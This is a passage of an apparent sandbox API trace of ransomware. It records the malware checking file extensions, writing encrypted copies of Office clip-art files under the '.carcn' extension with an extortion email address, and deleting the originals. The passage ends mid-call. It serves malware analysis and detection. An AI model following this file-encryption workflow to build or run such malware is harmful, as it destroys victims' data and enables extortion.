Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0301.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0301.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0301.618] lstrlenW (lpString=".doc") returned 4 [0301.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.618] lstrlenW (lpString=".docx") returned 5 [0301.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.618] lstrlenW (lpString=".pdf") returned 4 [0301.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.618] lstrlenW (lpString=".xls") returned 4 [0301.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.618] lstrlenW (lpString=".xlsx") returned 5 [0301.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.618] lstrlenW (lpString=".ppt") returned 4 [0301.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0301.618] lstrlenW (lpString=".zip") returned 4 [0301.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.618] lstrlenW (lpString=".rar") returned 4 [0301.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.618] lstrlenW (lpString=".bz2") returned 4 [0301.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.619] lstrlenW (lpString=".7z") returned 3 [0301.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0301.619] lstrlenW (lpString=".dbf") returned 4 [0301.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0301.619] lstrlenW (lpString=".1cd") returned 4 [0301.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0301.619] lstrlenW (lpString=".jpg") returned 4 [0301.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.619] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.620] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0301.620] GetLastError () returned 0x0 [0301.620] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1f08, lpOverlapped=0x0) returned 1 [0301.622] WriteFile (in: hFile=0x368, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1f10, lpOverlapped=0x0) returned 1 [0301.623] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.623] WriteFile (in: hFile=0x368, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.623] SetEndOfFile (hFile=0x368) returned 1 [0301.623] CloseHandle (hObject=0x368) returned 1 [0301.624] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.624] SetEndOfFile (hFile=0x360) returned 1 [0301.625] CloseHandle (hObject=0x360) returned 1 [0301.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0301.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0301.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0301.626] lstrlenW (lpString=".doc") returned 4 [0301.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.626] lstrlenW (lpString=".docx") returned 5 [0301.626] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.626] lstrlenW (lpString=".pdf") returned 4 [0301.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.626] lstrlenW (lpString=".xls") returned 4 [0301.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.626] lstrlenW (lpString=".xlsx") returned 5 [0301.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.626] lstrlenW (lpString=".ppt") returned 4 [0301.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0301.627] lstrlenW (lpString=".zip") returned 4 [0301.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.627] lstrlenW (lpString=".rar") returned 4 [0301.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.627] lstrlenW (lpString=".bz2") returned 4 [0301.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.627] lstrlenW (lpString=".7z") returned 3 [0301.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0301.627] lstrlenW (lpString=".dbf") returned 4 [0301.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0301.627] lstrlenW (lpString=".1cd") returned 4 [0301.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0301.627] lstrlenW (lpString=".jpg") returned 4 [0301.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.628] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.628] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0301.629] GetLastError () returned 0x0 [0301.629] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x45ba, lpOverlapped=0x0) returned 1 [0301.630] WriteFile (in: hFile=0x368, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0301.632] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.632] WriteFile (in: hFile=0x368, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.632] SetEndOfFile (hFile=0x368) returned 1 [0301.632] CloseHandle (hObject=0x368) returned 1 [0301.632] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.632] SetEndOfFile (hFile=0x360) returned 1 [0302.027] CloseHandle (hObject=0x360) returned 1 [0302.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0302.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0302.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0302.029] lstrlenW (lpString=".doc") returned 4 [0302.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.029] lstrlenW (lpString=".docx") returned 5 [0302.029] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.029] lstrlenW (lpString=".pdf") returned 4 [0302.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.029] lstrlenW (lpString=".xls") returned 4 [0302.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.029] lstrlenW (lpString=".xlsx") returned 5 [0302.029] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.029] lstrlenW (lpString=".ppt") returned 4 [0302.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0302.029] lstrlenW (lpString=".zip") returned 4 [0302.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.029] lstrlenW (lpString=".rar") returned 4 [0302.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.029] lstrlenW (lpString=".bz2") returned 4 [0302.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.029] lstrlenW (lpString=".7z") returned 3 [0302.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0302.029] lstrlenW (lpString=".dbf") returned 4 [0302.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0302.029] lstrlenW (lpString=".1cd") returned 4 [0302.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0302.029] lstrlenW (lpString=".jpg") returned 4 [0302.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.030] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.030] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0302.031] GetLastError () returned 0x0 [0302.031] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x43fe, lpOverlapped=0x0) returned 1 [0302.032] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x4400, lpOverlapped=0x0) returned 1 [0302.035] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.035] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.035] SetEndOfFile (hFile=0x380) returned 1 [0302.035] CloseHandle (hObject=0x380) returned 1 [0302.035] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.035] SetEndOfFile (hFile=0x360) returned 1 [0302.037] CloseHandle (hObject=0x360) returned 1 [0302.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0302.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0302.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0302.039] lstrlenW (lpString=".doc") returned 4 [0302.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.039] lstrlenW (lpString=".docx") returned 5 [0302.039] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.039] lstrlenW (lpString=".pdf") returned 4 [0302.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.039] lstrlenW (lpString=".xls") returned 4 [0302.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.039] lstrlenW (lpString=".xlsx") returned 5 [0302.039] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.039] lstrlenW (lpString=".ppt") returned 4 [0302.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0302.039] lstrlenW (lpString=".zip") returned 4 [0302.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.039] lstrlenW (lpString=".rar") returned 4 [0302.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.039] lstrlenW (lpString=".bz2") returned 4 [0302.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.039] lstrlenW (lpString=".7z") returned 3 [0302.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0302.039] lstrlenW (lpString=".dbf") returned 4 [0302.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0302.039] lstrlenW (lpString=".1cd") returned 4 [0302.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0302.040] lstrlenW (lpString=".jpg") returned 4 [0302.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.040] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.040] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0302.041] GetLastError () returned 0x0 [0302.041] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x5c0, lpOverlapped=0x0) returned 1 [0302.042] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x5d0, lpOverlapped=0x0) returned 1 [0302.043] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.043] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.043] SetEndOfFile (hFile=0x380) returned 1 [0302.043] CloseHandle (hObject=0x380) returned 1 [0302.043] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.043] SetEndOfFile (hFile=0x360) returned 1 [0302.044] CloseHandle (hObject=0x360) returned 1 [0302.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0302.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0302.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0302.045] lstrlenW (lpString=".doc") returned 4 [0302.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.045] lstrlenW (lpString=".docx") returned 5 [0302.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.046] lstrlenW (lpString=".pdf") returned 4 [0302.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.046] lstrlenW (lpString=".xls") returned 4 [0302.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.046] lstrlenW (lpString=".xlsx") returned 5 [0302.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.046] lstrlenW (lpString=".ppt") returned 4 [0302.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0302.046] lstrlenW (lpString=".zip") returned 4 [0302.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.046] lstrlenW (lpString=".rar") returned 4 [0302.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.046] lstrlenW (lpString=".bz2") returned 4 [0302.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.046] lstrlenW (lpString=".7z") returned 3 [0302.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0302.046] lstrlenW (lpString=".dbf") returned 4 [0302.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0302.046] lstrlenW (lpString=".1cd") returned 4 [0302.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0302.046] lstrlenW (lpString=".jpg") returned 4 [0302.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.047] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.047] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0302.048] GetLastError () returned 0x0 [0302.048] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x148c, lpOverlapped=0x0) returned 1 [0302.049] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1490, lpOverlapped=0x0) returned 1 [0302.050] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.050] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.050] SetEndOfFile (hFile=0x380) returned 1 [0302.050] CloseHandle (hObject=0x380) returned 1 [0302.050] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.050] SetEndOfFile (hFile=0x360) returned 1 [0302.051] CloseHandle (hObject=0x360) returned 1 [0302.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0302.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0302.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0302.052] lstrlenW (lpString=".doc") returned 4 [0302.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.052] lstrlenW (lpString=".docx") returned 5 [0302.052] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.052] lstrlenW (lpString=".pdf") returned 4 [0302.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.052] lstrlenW (lpString=".xls") returned 4 [0302.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.052] lstrlenW (lpString=".xlsx") returned 5 [0302.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.052] lstrlenW (lpString=".ppt") returned 4 [0302.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0302.052] lstrlenW (lpString=".zip") returned 4 [0302.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.052] lstrlenW (lpString=".rar") returned 4 [0302.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.052] lstrlenW (lpString=".bz2") returned 4 [0302.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.052] lstrlenW (lpString=".7z") returned 3 [0302.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0302.052] lstrlenW (lpString=".dbf") returned 4 [0302.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0302.053] lstrlenW (lpString=".1cd") returned 